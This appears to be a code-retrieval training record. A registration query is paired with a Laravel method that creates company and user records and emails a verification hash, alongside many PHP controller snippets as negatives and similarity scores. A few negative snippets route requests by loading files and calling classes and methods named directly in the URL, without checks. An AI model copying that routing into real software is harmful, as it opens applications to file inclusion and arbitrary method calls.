"private static function loadController($str) {\n\t\t$str = self::formatAsController($str);\n\t\t$app_controller = file_exists(APP_DIR.'/Mvc/Controller/'.$str.'.php');\n\t\t$lib_controller = file_exists(LIB_DIR.'/Mvc/Controller/'.$str.'.php');\n\t\t\n\t\tif ( $app_controller || $lib_controller ) {\n\t\t\tif ($app_controller) {\n\t\t\t\trequire_once(APP_DIR.'/Mvc/Controller/'.$str.'.php');\n\t\t\t}\n\t\t\telse {\n\t\t\t\trequire_once(LIB_DIR.'/Mvc/Controller/'.$str.'.php');\n\t\t\t}\n\t\n\t\t\t$controller = new $str();\n\t\t\t\n\t\t\tif (!$controller instanceof Controller) {\n\t\t\t\tthrow new IsNotControllerException();\n\t\t\t}\n\t\t\telse {\n\t\t\t\treturn $controller;\n\t\t\t}\n\t\t}\n\t\telse {\n\t\t\tthrow new ControllerNotExistsException($str);\n\t\t}\n\t}",
"public function __construct()\n {\n // and $url[1] is a controller method\n if ($_GET['url'] == NULL) {\n $url = explode('/', env('defaultRoute'));\n } else {\n $url = explode('/', rtrim($_GET['url'],'/'));\n }\n\n $file = 'controllers/' . $url[0] . '.php';\n if (file_exists($file)) {\n require $file;\n $controller = new $url[0];\n\n if (isset($url[1])) {\n $controller->{$url[1]}();\n }\n } else {\n echo \"404 not found\";\n }\n }",
"protected function _controllers()\n {\n $this['watchController'] = $this->factory(static function ($c) {\n return new Controller\\WatchController($c['app'], $c['searcher']);\n });\n\n $this['runController'] = $this->factory(static function ($c) {\n return new Controller\\RunController($c['app'], $c['searcher']);\n });\n\n $this['customController'] = $this->factory(static function ($c) {\n return new Controller\\CustomController($c['app'], $c['searcher']);\n });\n\n $this['waterfallController'] = $this->factory(static function ($c) {\n return new Controller\\WaterfallController($c['app'], $c['searcher']);\n });\n\n $this['importController'] = $this->factory(static function ($c) {\n return new Controller\\ImportController($c['app'], $c['saver'], $c['config']['upload.token']);\n });\n\n $this['metricsController'] = $this->factory(static function ($c) {\n return new Controller\\MetricsController($c['app'], $c['searcher']);\n });\n }",
"public function __construct() {\r\n $this->controllerLogin = new ControllerLogin();\r\n $this->controllerGame = new ControllerGame();\r\n $this->controllerRegister = new ControllerRegister();\r\n }",
"public function controller ($post = array())\n\t{\n\n\t\t$name = $post['controller_name'];\n\n\t\tif (is_file(APPPATH.'controllers/'.$name.'.php')) {\n\n\t\t\t$message = sprintf(lang('Controller_s_is_existed'), APPPATH.'controllers/'.$name.'.php');\n\n\t\t\t$this->msg[] = $message;\n\n\t\t\treturn $this->result(false, $this->msg[0]);\n\n\t\t}\n\n\t\t$extends = null;\n\n\t\tif (isset($post['crud'])) {\n\n\t\t\t$crud = true;\n\t\t\t\n\t\t}\n\t\telse{\n\n\t\t\t$crud = false;\n\n\t\t}\n\n\t\t$file = $this->_create_folders_from_name($name, 'controllers');\n\n\t\t$data = '';\n\n\t\t$data .= $this->_class_open($file['file'], __METHOD__, $extends);\n\n\t\t$crud === FALSE || $data .= $this->_crud_methods_contraller($post);\n\n\t\t$data .= $this->_class_close();\n\n\t\t$path = APPPATH . 'controllers/' . $file['path'] . strtolower($file['file']) . '.php';\n\n\t\twrite_file($path, $data);\n\n\t\t$this->msg[] = sprintf(lang('Created_controller_s'), $path);\n\n\t\t//echo $this->_messages();\n\t\treturn $this->result(true, $this->msg[0]);\n\n\t}",
"protected function getController(Request $request) {\n try {\n $controller = $this->objectFactory->create($request->getControllerName(), self::INTERFACE_CONTROLLER);\n } catch (ZiboException $exception) {\n throw new ZiboException('Could not create controller ' . $request->getControllerName(), 0, $exception);\n }\n\n return $controller;\n }",
"public function create() {}",
"public function __construct()\n {\n $this->dataController = new DataController;\n }",
"function __contrruct(){ //construdor do controller, nele é possivel carregar as librari, helpers, models que serão utilizados nesse controller\n\t\tparent::__contrruct();//Chamando o construtor da classe pai\n\t}",
"public function __construct() {\n\n // Get the URL elements.\n $url = $this->_parseUrl();\n\n // Checks if the first URL element is set / not empty, and replaces the\n // default controller class string if the given class exists.\n if (isset($url[0]) and ! empty($url[0])) {\n $controllerClass = CONTROLLER_PATH . ucfirst(strtolower($url[0]));\n unset($url[0]);\n if (class_exists($controllerClass)) {\n $this->_controllerClass = $controllerClass;\n }\n }\n\n // Replace the controller class string with a new instance of the it.\n $this->_controllerClass = new $this->_controllerClass;\n\n // Checks if the second URL element is set / not empty, and replaces the\n // default controller action string if the given action is a valid class\n // method.\n if (isset($url[1]) and ! empty($url[1])) {\n if (method_exists($this->_controllerClass, $url[1])) {\n $this->_controllerAction = $url[1];\n unset($url[1]);\n }\n }\n\n // Check if the URL has any remaining elements, setting the controller\n // parameters as a rebase of it if true or an empty array if false.\n $this->_controllerParams = $url ? array_values($url) : [];\n\n // Call the controller and action with parameters.\n call_user_func_array([$this->_controllerClass, $this->_controllerAction], $this->_controllerParams);\n }",
"private function setUpController()\n {\n $this->controller = new TestObject(new SharedControllerTestController);\n\n $this->controller->dbal = DBAL::getDBAL('testDB', $this->getDBH());\n }",
"public function create() {\n $class_name = $this->getOption('className');\n return new $class_name();\n }"
]
| [
"0.82668066",
"0.8173394",
"0.78115296",
"0.77052677",
"0.7681875",
"0.7659338",
"0.74860525",
"0.74064577",
"0.7297601",
"0.7252339",
"0.7195181",
"0.7174191",
"0.70150065",
"0.6989306",
"0.69835985",
"0.69732994",
"0.6963521",
"0.6935819",
"0.68973273",
"0.68920785",
"0.6877748",
"0.68702674",
"0.68622285",
"0.6839049",
"0.6779292",
"0.6703522",
"0.66688496",
"0.66600126",
"0.6650373",
"0.66436416",
"0.6615505",
"0.66144013",
"0.6588728",
"0.64483404",
"0.64439476",
"0.6429303",
"0.6426485",
"0.6303757",
"0.6298291",
"0.6293319",
"0.62811387",
"0.6258778",
"0.62542456",
"0.616827",
"0.6162314",
"0.61610043",
"0.6139887",
"0.613725",
"0.61334985",
"0.6132223",
"0.6128982",
"0.61092585",
"0.6094611",
"0.60889256",
"0.6074893",
"0.60660255",
"0.6059098",
"0.60565156",
"0.6044235",
"0.60288006",
"0.6024102",
"0.60225666",
"0.6018304",
"0.60134345",
"0.60124683",
"0.6010913",
"0.6009284",
"0.6001683",
"0.5997471",
"0.5997012",
"0.59942573",
"0.5985074",
"0.5985074",
"0.5985074",
"0.5967613",
"0.5952533",
"0.5949068",
"0.5942203",
"0.5925731",
"0.5914304",
"0.5914013",
"0.59119135",
"0.5910308",
"0.5910285",
"0.59013796",
"0.59003943",
"0.5897524",
"0.58964556",
"0.58952993",
"0.58918965",
"0.5888943",
"0.5875413",
"0.5869938",
"0.58627135",
"0.58594996",
"0.5853714",
"0.5839484",
"0.5832913",
"0.582425",
"0.58161044",
"0.5815566"
]
| 0.0 | -1 |
Get a validator for an incoming registration request. | protected function validator(array $data)
{
return Validator::make($data, [
'email' => 'required|string|email|max:255|unique:users',
'password' => 'required|string|min:6|confirmed',
],
[
'email.required' => trans('auth.email_required'),
'password.required' => trans('auth.psw_required'),
'email.unique' => trans('auth.email_enique'),
'password.confirmed' => trans('auth.psw_confirmed'),
'password.min' => trans('auth.psw_min6'),
]
);
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"public function getValidator() {}",
"public function getValidator();",
"public function getValidator();",
"public function getValidator()\n {\n return $this->validator;\n }",
"public function getValidator()\n {\n return $this->validator;\n }",
"public function getValidator()\n {\n return $this->validator;\n }",
"protected function getValidatorInstance()\n {\n return app(ValidationFactory::class);\n }",
"protected function createValidator() {\n return $this->validator;\n }",
"public static function getValidatorInstance()\n {\n if (static::$validator === null)\n {\n static::$validator = new Validator();\n }\n\n return static::$validator;\n }",
"private function getValidator()\n {\n return Validation::createValidatorBuilder()->enableAnnotationMapping()->getValidator();\n }",
"public function getValidator()\n\t{\n\t\treturn $this->validation->validator->validator;\n\t}",
"protected function get9c2345652e8ae3f87ba009d0f8fedee27bb751398014908e9ab2fb6d5bf1300f(): \\Viserio\\Component\\Validation\\Validator\n {\n return $this->services[\\Viserio\\Contract\\Validation\\Validator::class] = new \\Viserio\\Component\\Validation\\Validator();\n }",
"public function getValidator()\n\t{\n\t\tif (!is_object($this->_validator)) {\n\t\t\t$validatorClass = $this->xpdo->loadClass('validation.xPDOValidator', XPDO_CORE_PATH, true, true);\n\t\t\tif ($derivedClass = $this->getOption(xPDO::OPT_VALIDATOR_CLASS, null, '')) {\n\t\t\t\tif ($derivedClass = $this->xpdo->loadClass($derivedClass, '', false, true)) {\n\t\t\t\t\t$validatorClass = $derivedClass;\n\t\t\t\t}\n\t\t\t}\n\t\t\tif ($profitClass = $this->getOption('mlmsystem_handler_class_profit_validator', null, '')) {\n\t\t\t\tif ($profitClass = $this->xpdo->loadClass($profitClass, $this->getOption('mlmsystem_core_path', null, MODX_CORE_PATH . 'components/mlmsystem/') . 'handlers/validations/', false, true)) {\n\t\t\t\t\t$validatorClass = $profitClass;\n\t\t\t\t}\n\t\t\t}\n\t\t\tif ($validatorClass) {\n\t\t\t\t$this->_validator = new $validatorClass($this);\n\t\t\t}\n\t\t}\n\t\treturn $this->_validator;\n\t}",
"public function getValidator() {\n return $this->__validator;\n }",
"public function getValidator() \n {//--------------->> getValidator()\n return $this->_validator;\n }",
"protected function getValidatorInstance()\n {\n $factory = $this->container->make('Illuminate\\Validation\\Factory');\n if (method_exists($this, 'validator')) {\n return $this->container->call([$this, 'validator'], compact('factory'));\n }\n\n $rules = $this->container->call([$this, 'rules']);\n $attributes = $this->attributes();\n $messages = [];\n\n $translationsAttributesKey = $this->getTranslationsAttributesKey();\n\n foreach ($this->requiredLocales() as $localeKey => $locale) {\n $this->localeKey = $localeKey;\n foreach ($this->container->call([$this, 'translationRules']) as $attribute => $rule) {\n $key = $localeKey . '.' . $attribute;\n $rules[$key] = $rule;\n $attributes[$key] = trans($translationsAttributesKey . $attribute);\n }\n\n foreach ($this->container->call([$this, 'translationMessages']) as $attributeAndRule => $message) {\n $messages[$localeKey . '.' . $attributeAndRule] = $message;\n }\n }\n\n return $factory->make(\n $this->all(),\n $rules,\n array_merge($this->messages(), $messages),\n $attributes\n );\n }",
"public function validator()\n {\n return $this->validator;\n }",
"protected function getValidatorInstance()\n {\n // cause comes json, we need to change it to array to validate it\n $this->request->set('postHashtag', json_decode($this->input()['postHashtag'], true));\n $this->request->set('activeLocales', json_decode($this->input()['activeLocales'], true));\n // clean alias from unnecessary symbols\n $this->request->set('postAlias', Helpers::cleanToOnlyLettersNumbers($this->input()['postAlias']));\n\n\n return parent::getValidatorInstance();\n }",
"public function getValidatorService();",
"private function getValidator()\n {\n $v = new Validator();\n $v->addRules([\n ['label', 'Label', 'required'],\n ['num_value', 'Number', 'exists type=number'],\n ['comment', 'Comment', 'exists'],\n ]);\n return $v;\n }",
"protected function getValidationFactory()\n {\n return app('validator');\n }",
"public function getValidator($name = 'default') {\n\t\t\t//\n\t\t\tif ($name == 'default') { return new Validator();}\n\t\t\trequire (VALIDATORS . $name . '_validator.php');\n\t\t\t$name = $name . '_Validator';\n\t\t\treturn new $name();\n\t\t}",
"protected function getValidator($request)\n {\n $rules = [\n 'page_title' => 'required',\n 'status' => 'required|integer|between:0,1'\n ];\n \n $customMessages = [\n 'page_title.required' => __('admin.pages.field_validation.title_field_required_msg'),\n 'status.required' => __('admin.pages.field_validation.status_field_required_msg')\n ];\n\n return Validator::make($request->all(), $rules, $customMessages);\n }",
"public function getValidator()\n {\n if ($this->_validator === null) {\n\n if (class_exists('\\Atezate\\\\Validator\\Cubos')) {\n\n $this->setValidator(new \\Atezate\\Validator\\Cubos);\n }\n }\n\n return $this->_validator;\n }",
"protected function getValidatorService()\n {\n return $this->services['validator'] = $this->get('validator.builder')->getValidator();\n }",
"public function createValidator()\n {\n $validator = Validation::createValidatorBuilder()\n ->setMetadataFactory(new ClassMetadataFactory(new StaticMethodLoader()))\n ->setConstraintValidatorFactory(new ConstraintValidatorFactory($this->app))\n ->setTranslator($this->getTranslator())\n ->setApiVersion(Validation::API_VERSION_2_5)\n ->getValidator();\n\n return $validator;\n }",
"public function getValidatorService()\n {\n return $this->validatorService;\n }",
"public function getCreateTaskValidator()\n : Validators\\ValidatorInterface\n {\n return $this->app->make(\n Validators\\CreateTaskValidator::class\n );\n }",
"protected function getValidator()\n {\n if ($form = $this->owner->getForm()) {\n \n if (($validator = $form->getValidator()) && $validator instanceof Validator) {\n return $validator;\n }\n \n }\n }",
"public function getValidator()\n {\n if ($this->_validator === null) {\n\n if (class_exists('\\Klikasi\\\\Validator\\Newsletter')) {\n\n $this->setValidator(new \\Klikasi\\Validator\\Newsletter);\n }\n }\n\n return $this->_validator;\n }",
"public function getValidator()\n {\n if ($this->_validator === null) {\n\n if (class_exists('\\Klikasi\\\\Validator\\Kanpaina')) {\n\n $this->setValidator(new \\Klikasi\\Validator\\Kanpaina);\n }\n }\n\n return $this->_validator;\n }",
"function getCMSValidator()\n {\n return $this->getValidator();\n }",
"function validator() {\n if ($this->validator) return $this->validator;\n $options = array();\n foreach ($this->fields_options as $field => $field_options) {\n if (!@$field_options['validation']) continue;\n $options[$field] = $field_options['validation'];\n }\n return $this->validator = new xValidatorStore($options, $_REQUEST);\n }",
"function getValidator() {\n\t\tif ( !$this->_Validator instanceof utilityValidator ) {\n\t\t\t$this->_Validator = new utilityValidator();\n\t\t}\n\t\treturn $this->_Validator;\n\t}",
"function getValidator() {\n\t\tif ( !$this->_Validator instanceof utilityValidator ) {\n\t\t\t$this->_Validator = new utilityValidator();\n\t\t}\n\t\treturn $this->_Validator;\n\t}",
"function getValidator() {\n\t\tif ( !$this->_Validator instanceof utilityValidator ) {\n\t\t\t$this->_Validator = new utilityValidator();\n\t\t}\n\t\treturn $this->_Validator;\n\t}",
"protected function getValidatorInstance()\n {\n $validator = parent::getValidatorInstance();\n\n $validator->sometimes('family_member_id.*', 'distinct', function($input)\n {\n return $input->family_member == 1;\n });\n\n $validator->sometimes('family_member_id.*', 'not_in:'. $this->request->get('patriarch'), function($input)\n {\n return $input->family_member == 1;\n });\n\n return $validator;\n }",
"public function getDelegatedValidator()\n {\n return $this->validator;\n }",
"public function validator()\n {\n\n return UserValidator::class;\n }",
"public function validator()\n {\n\n return UserValidator::class;\n }",
"public function validator()\n {\n\n return UserValidator::class;\n }",
"public function validator()\n {\n\n return UserValidator::class;\n }",
"public function validator()\n {\n\n return UserValidator::class;\n }",
"public function validator()\n {\n return UserValidator::class;\n }",
"public function createValidator();",
"protected function getValidatorInstance()\n {\n $validator = parent::getValidatorInstance();\n $validator->setAttributeNames(trans('mconsole::personal.form'));\n\n return $validator;\n }",
"public function getValidator($validator)\n {\n $instance = null;\n\n if (strpos($validator, 'iPhorm_Validator_') === false) {\n $validator = 'iPhorm_Validator_' . ucfirst($validator);\n }\n\n $validators = $this->getValidators();\n if (array_key_exists($validator, $validators)) {\n $instance = $validators[$validator];\n }\n\n return $instance;\n }",
"public function getValidatorInstance()\n {\n $validator = parent::getValidatorInstance();\n\n\n $validator->after(\n function () use ($validator) {\n $input = $this->all();\n }\n );\n\n return $validator;\n }",
"public function get($codename) {\n\t\treturn $this->validators[$codename];\n\t}",
"protected function getValidatorInstance()\n {\n // cause comes json, we need to change it to array to validate it\n $this->request->set('categories_names', json_decode($this->input()['categories_names'], true));\n // clean alias from unnecessary symbols\n $this->request->set('category_alias', Helpers::cleanToOnlyLettersNumbers($this->input()['category_alias']));\n\n return parent::getValidatorInstance();\n }",
"public static function getValidator($name, array $options = []);",
"protected function validator($request)\n {\n $data = $request->all();\n $vcode = $request->session()->get('p'.$data['phone']);\n return Validator::make($data, [\n 'name' => 'required|max:255|unique:users,name',\n 'phone' => 'required|phone|max:255|unique:users,phone',\n 'email' => 'required|email|max:255|unique:users,email',\n 'phonecode' => 'required|regex:/' . $vcode['verifycode'] . '/',\n 'password' => 'required|confirmed|min:6|max:20',\n ]);\n }",
"public function getValidator()\n {\n if ($this->_validator === null) {\n\n if (class_exists('\\Atezate\\\\Validator\\Mensajes')) {\n\n $this->setValidator(new \\Atezate\\Validator\\Mensajes);\n }\n }\n\n return $this->_validator;\n }",
"public function getValidator()\n {\n if (!isset($this->customValidator)) {\n throw new CertaintyException('Custom class not defined');\n }\n return $this->customValidator;\n }",
"public function createFooResponseValidator(): ResponseValidatorInterface\n {\n return new AcmeFooResponseValidator();\n }",
"private function createValidator()\n {\n // add custom validation rules\n \\Validator::extend('contains_caps',\n function($field, $value, $params)\n {\n return preg_match('#[A-Z]#', $value);\n }\n );\n\n \\Validator::extend('contains_digit',\n function($field, $value, $params)\n {\n return preg_match('#[0-9]#', $value);\n }\n );\n\n // set array of messages for custom rules\n $messages = array(\n 'contains_caps' => ':attribute must contain at least one capital letter.',\n 'contains_digit' => ':attribute must contain at least one numeric digit.'\n );\n\n // set array of rules to use for validation (many are Laravel's built-ins)\n $rules = array(\n 'email' => 'required|email|max:255',\n 'password' => 'required|between:8,50|contains_caps|contains_digit', // password has some \"strength\" requirements\n 'first_name' => 'required|max:50',\n 'last_name' => 'required|max:50',\n 'city' => 'required|max:100',\n 'state' => 'required|max:2',\n 'zip' => 'required|max:20',\n 'biography' => 'required',\n );\n\n $validator = \\Validator::make(\\Input::all(), $rules, $messages);\n\n return $validator;\n }",
"protected function getAjaxValidationFactory()\n {\n return app()->make('validator');\n }",
"public function withContext(mixed $context): ValidatorInterface;",
"public function getValidatorInstance() {\n $validator = parent::getValidatorInstance();\n\n $validator->after(function() use ($validator) {\n\n // Does the event exist?\n if( !$this->checkEventExists()){\n $validator->errors()->add('event.Exists', 'This event does not longer exist.');\n } else {\n\n // Does the booker is not the creator?\n if( !$this->checkEventNotBookedByCreator()){\n $validator->errors()->add('event.BookedCreator', 'You can\\'t unbook this event because since you are the owner.'); \n }\n\n // Does the event is not already finished/has begun?\n if( !$this->checkEventDateNotDue()){\n $validator->errors()->add('event.DateDue', 'You can\\'t unbook this event because it\\'s already begun or is terminated.'); \n }\n }\n\n });\n\n return $validator;\n }",
"protected function getValidator(): void\n {\n // TODO: Implement getValidator() method.\n }",
"protected function getValidationFactory()\n {\n return app('Illuminate\\Contracts\\Validation\\Factory');\n }",
"protected function makeValidator()\n {\n $rules = $this->expandUniqueRules($this->rules);\n\n $validator = static::$validator->make($this->getAttributes(), $rules);\n\n event(new ModelValidator($this, $validator));\n\n return $validator;\n }",
"public function validator()\n {\n\n return ConfigValidator::class;\n }",
"public function validator()\n {\n\n return FormInfoValidator::class;\n }",
"public function getValidator(): ?ValidatorInterface\n {\n return new CompoundValidator(\n new CzechIbanValidator($this->accountNumber, $this->bankCode),\n new GenericIbanValidator($this)\n );\n }",
"public function validator()\n {\n\n return ProvidersValidator::class;\n }",
"protected function getValidateRequestListenerService()\n {\n return $this->services['validate_request_listener'] = new \\Symfony\\Component\\HttpKernel\\EventListener\\ValidateRequestListener();\n }",
"protected function getValidateRequestListenerService()\n {\n return $this->services['validate_request_listener'] = new \\Symfony\\Component\\HttpKernel\\EventListener\\ValidateRequestListener();\n }",
"protected function getForm_TypeGuesser_ValidatorService()\n {\n return $this->services['form.type_guesser.validator'] = new \\Symfony\\Component\\Form\\Extension\\Validator\\ValidatorTypeGuesser($this->get('validator'));\n }",
"protected function validator(array $data)\n {\n return self::getValidator($data);\n }",
"protected static function validator() {\n\t\tif (empty(self::$validate)) {\n\t\t\tself::$validate = new MpoValidator();\n\t\t}\n\t\treturn self::$validate;\n\t}",
"public function makeValidator()\r\n {\r\n if (10 == $this->countDigits($this->string)) {\r\n return new Validator10($this->string);\r\n }\r\n\r\n if (13 == $this->countDigits($this->string)) {\r\n return new Validator13($this->string);\r\n } \r\n }",
"public function initValidator()\n {\n if (!is_null($this->_validator)) {\n return $this->_validator;\n }\n $this->_validator = new SurveyManager_Entity_Validator_Survey($this);\n \n return $this->_validator;\n }",
"public function make($validator)\n\t{\n\t\tif ($validator instanceof Closure)\n\t\t{\n\t\t\t$validator = new ClosureValidator($validator, $this->request, $this->validatorFactory, $this->router);\n\n\t\t\treturn array($validator->getInput(), $validator->getRules(), $validator->getFailedMessages());\n\t\t}\n\n\t\tif (is_string($validator) AND ! isset($this->validators[$validator]))\n\t\t{\n\t\t\t$this->validators[$validator] = $validator;\n\t\t}\n\n\t\tif (isset($this->validators[$validator]))\n\t\t{\n\t\t\tif ($this->validators[$validator] instanceof Closure)\n\t\t\t{\n\t\t\t\treturn new ClosureValidator($this->validators[$validator], $this->request, $this->validatorFactory);\n\t\t\t}\n\n\t\t\treturn new $this->validators[$validator]($this->request, $this->validatorFactory);\n\t\t}\n\n\t\tthrow new \\InvalidArgumentException('Invalid input validator.');\n\t}",
"protected function validator(Request $request)\n\t{\n\t\treturn Validator::make($request->all(), [\n\t\t\t'title' => 'required',\n\t\t\t]);\n\t}",
"protected function validator(Request $request)\n {\n return Validator::make($request, [\n 'name' => ['required', 'string', 'max:255'],\n 'email' => ['required', 'string', 'email', 'max:255', 'unique:users'],\n 'password' => ['required', 'string', 'min:8', 'confirmed'],\n ]);\n }",
"public function getContractValidator(): ?ContractValidator {\n\n return $this->contractValidator;\n\n }",
"public function validator()\n {\n\n return DistribuidorValidator::class;\n }",
"protected function getValidatorInstance()\n {\n $validator = parent::getValidatorInstance();\n // $validator->sometimes();\n\n $validator->after(function ($validator) {\n $this->request->remove('is_post');\n $this->request->remove('is_update');\n $this->request->remove('is_editing');\n $this->request->remove('is_delete');\n });\n return $validator;\n }",
"public function getValidator()\n {\n if ($this->_validator === null) {\n\n if (class_exists('\\Atezate\\\\Validator\\Tipos')) {\n\n $this->setValidator(new \\Atezate\\Validator\\Tipos);\n }\n }\n\n return $this->_validator;\n }",
"public function validator()\n {\n\n return BabyInfoValidator::class;\n }",
"protected function getValidator(array $options = [])\n {\n $type = '\\\\marvin255\\\\serviform\\\\validators\\\\Regexp';\n\n return FactoryValidators::initElement($type, $options);\n }",
"public function validator()\n {\n return ZhuanTiValidator::class;\n }",
"public function validator()\n {\n\n return EmpreValidator::class;\n }",
"public function validator()\n {\n\n return OccupationValidator::class;\n }",
"public function validator()\n {\n\n return GrupoServicosValidator::class;\n }",
"public function validator()\n {\n\n return ScheduleValidator::class;\n }",
"protected function validator(Request $request)\n {\n return Validator::make($request, [\n 'first_name' => 'required',\n 'last_name' => 'required',\n 'suburb' => 'required',\n 'zipcode' => 'required',\n\t\t\t\n ]);\n }",
"public function validator()\n {\n return NotificationValidator::class;\n }",
"public function validator()\n {\n $validator = $this->baseValidator([\n 'stripe_token' => 'required',\n 'vat_id' => 'nullable|max:50|vat_id',\n ]);\n\n if (Spark::collectsBillingAddress()) {\n $this->validateBillingAddress($validator);\n }\n\n return $validator;\n }",
"public function validator()\n {\n\n return ProducerValidator::class;\n }",
"protected function validator(Request $request)\n {\n return Validator::make($request->all(), [\n 'userid' => 'required|max:11',\n 'password' => 'required'\n ]);\n }",
"protected function validation($request)\n {\n\n $validator = Validator::make($request->all(), [\n 'firstname' => 'required',\n 'lastname' => 'required',\n 'email' => 'required',\n 'pocketmoney' => 'required',\n 'password' => 'required',\n 'age' => 'required',\n 'city' => 'required',\n 'state' => 'required',\n 'zip' => 'required',\n 'country' => 'required',\n ]);\n\n return $validator;\n }",
"public function getValidator(?string $code) : ?Validator {\n if ($code === null || strlen($code) < 2) { // ensure we can extract the code\n return null;\n }\n\n $key = substr($code, 0, 2);\n\n return $this->validators[$key] ?? null;\n }",
"public function validator()\n {\n $validator = validator($this->all(), [\n 'name' => 'required|max:255',\n 'server_provider_id' => ['required', Rule::exists('server_providers', 'id')->where(function ($query) {\n $query->where('user_id', $this->user()->id);\n })],\n 'region' => 'required|string',\n 'source_provider_id' => ['required', Rule::exists('source_providers', 'id')->where(function ($query) {\n $query->where('user_id', $this->user()->id);\n })],\n 'repository' => [\n 'required',\n 'string',\n new ValidRepository(SourceProvider::find($this->source_provider_id))\n ],\n 'database' => 'string|alpha_dash|max:255',\n 'database_size' => 'string',\n ]);\n\n return $this->validateRegionAndSize($validator);\n }",
"public function validator()\n {\n return LeaveRequestValidator::class;\n }",
"private function validator(Request $request)\n {\n //validate the form...\n }",
"protected function createUserValidator($request) {\n \treturn Validator::make($request,[\n 'first_name' => 'required|max:255',\n 'email' => 'required|email|max:255|unique:users',\n 'last_name' => 'required',\n 'password' => 'required|min:6',\n 'status' => 'required'\n ]);\n \t}",
"public function validator()\n {\n\n return PescariaValidator::class;\n }",
"protected function parseRulesFromValidator()\n {\n // First we call needed method with needed container\n $factory = app()->make(ValidationFactory::class);\n $validator = app()->call([$this->getFormRequestInstance(), 'validator'], [$factory]);\n\n // After that we get initialRules property (since plain `rules` prop doesn't contain array rules)\n // and make it public so that later we can get it's value\n $property = (new ReflectionClass($validator))->getProperty('initialRules');\n $property->setAccessible(true);\n\n return $property->getValue($validator);\n }",
"protected function validator(Request $request)\n {\n return Validator::make($request->all(), [\n 'userid' => 'required|max:11',\n 'page' => ''\n ]);\n }"
]
| [
"0.7217253",
"0.71017957",
"0.71017957",
"0.7048845",
"0.7048845",
"0.7048845",
"0.6924129",
"0.69168675",
"0.6899657",
"0.68542325",
"0.684801",
"0.68128955",
"0.68007755",
"0.6797457",
"0.67463154",
"0.66977936",
"0.6687648",
"0.6645321",
"0.6593937",
"0.6564549",
"0.6506735",
"0.6500423",
"0.64936745",
"0.6428733",
"0.640632",
"0.64031655",
"0.6393014",
"0.6366359",
"0.6347438",
"0.63437617",
"0.6282892",
"0.6252371",
"0.62332886",
"0.62275493",
"0.62275493",
"0.62275493",
"0.6213424",
"0.6203102",
"0.61237746",
"0.61237746",
"0.61237746",
"0.61237746",
"0.61237746",
"0.610553",
"0.60834324",
"0.6066394",
"0.60355836",
"0.59944713",
"0.59814906",
"0.59801394",
"0.59744567",
"0.5939118",
"0.59275067",
"0.59039265",
"0.58902186",
"0.5890007",
"0.58719885",
"0.586906",
"0.5865833",
"0.5862728",
"0.58234406",
"0.58158123",
"0.5815437",
"0.5784297",
"0.5780951",
"0.5768072",
"0.5748842",
"0.5748842",
"0.5748371",
"0.57390654",
"0.5723674",
"0.5717639",
"0.57142323",
"0.5711796",
"0.5675113",
"0.56740963",
"0.5673833",
"0.56687135",
"0.5667633",
"0.56432956",
"0.5637126",
"0.5622988",
"0.5614382",
"0.56140053",
"0.5581888",
"0.55700976",
"0.55691636",
"0.55622005",
"0.55596167",
"0.555281",
"0.55358255",
"0.55254596",
"0.55246574",
"0.5520975",
"0.5513461",
"0.5510867",
"0.5508561",
"0.5503873",
"0.55037427",
"0.54932034",
"0.54874235"
]
| 0.0 | -1 |
Create a new user instance after a valid registration. | protected function create(array $data)
{
// return $data;
// code to send verification link starts here
$hash = bcrypt(time() . rand(0, 99999999));
$hash = str_replace('/', '', $hash);
if (DB::table('superAdmin_email')->whereId(1)->exists())
{
$emailContent = DB::table('superAdmin_email')->whereId(1)->first();
$array['welcome_text'] = $emailContent->welcome_text;
}
$array['email'] = $data['email'];
$array['name'] = $data['fname'] . ' ' . $data['lname'];
$array['hash'] = $hash;
Mail::send('email.welcome', ['array' => $array], function ($message) use ($array) {
$message->to($array['email'], $array['name'])->subject(trans('mail.welcome_to_affiliate'));
});
// code to send verification link ends here
$input['fname'] = $data['fname'];
$input['lname'] = $data['lname'];
$input['phno'] = $data['phno'];
$input['email'] = $data['email'];
$input['address'] = $data['bill_address'];
$input['address2'] = $data['address2'];
$input['city'] = $data['city'];
$input['state'] = $data['state'];
$input['zip'] = $data['zip'];
$input['country'] = $data['country'];
$company = company::create($input);//inserting data to company table
$PlanInput = [
'company_id' => $company->id,
'planid' => $data['planid'],
'bill_address' => $data['bill_address'],
];
DB::table('companyAffiliatePlans')->insert($PlanInput);
return User::create([
'name' => $data['fname'] . ' ' . $data['lname'],
'fname' => $data['fname'],
'lname' => $data['lname'],
'email' => $data['email'],
'password' => bcrypt($data['password']),
'status' => 1,
'type' => 'company',
'activation_hash' => $hash,
'samy_affiliate' => 1,
'company_id' => $company->id,
]);
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"protected function _createUser()\n {\n $data = [\n 'email' => '[email protected]',\n 'password' => 'test',\n ];\n\n $user = $this->Users->newEntity($data);\n\n $user->set('active', true);\n $user->set('role_id', 1);\n\n $this->Users->save($user);\n }",
"public function createUser()\n {\n $this->user = factory(Easel\\Models\\User::class)->create();\n }",
"public function createUser();",
"public function createUser();",
"public function createUser();",
"public function createUser();",
"public function createUser()\n {\n $this->user = factory(App\\Models\\User::class)->create();\n }",
"public function createUser()\n {\n $this->user = factory(App\\Models\\User::class)->create();\n }",
"public function createUser()\n {\n\n $userCurrent = $this->userValidator->validate();\n $userCurrent['password'] = Hash::make($userCurrent['password']);\n $userCurrent = $this->user::create($userCurrent);\n $userCurrent->roles()->attach(Role::where('name', 'user')->first());\n return $this->successResponse('user', $userCurrent, 201);\n }",
"public function createUser()\n {\n return User::factory()->create();\n }",
"public function create() {\n $username = Input::get('reg_username');\n $email = Input::get('email');\n $password = Input::get('reg_password');\n $confirm_password = Input::get('confirm_password');\n\n // Make sure that both passwords are identical\n if (strcmp($password, $confirm_password) == 0) {\n $hashed_password = Hash::make($password);\n try {\n $user = new User;\n $user -> username = $username;\n $user -> email = $email;\n $user -> password = $hashed_password;\n $user -> save();\n } catch (\\Illuminate\\Database\\QueryException $e) {\n return Redirect::route('register') -> with(array(\n 'alert-message' => 'Error: Failed to register user in database.',\n 'alert-class' => 'alert-danger'\n ));\n }\n\n // Login the new user automatically\n $user = User::where('username', '=', $username) -> first();\n Auth::login($user);\n\n return Redirect::route('home') -> with(array(\n 'alert-message' => 'Welcome! You have successfully created an account, and have been logged in.',\n 'alert-class' => 'alert-success'\n ));\n }\n\n return Redirect::route('register') -> with(array(\n 'alert-message' => 'The attempt to create an account was 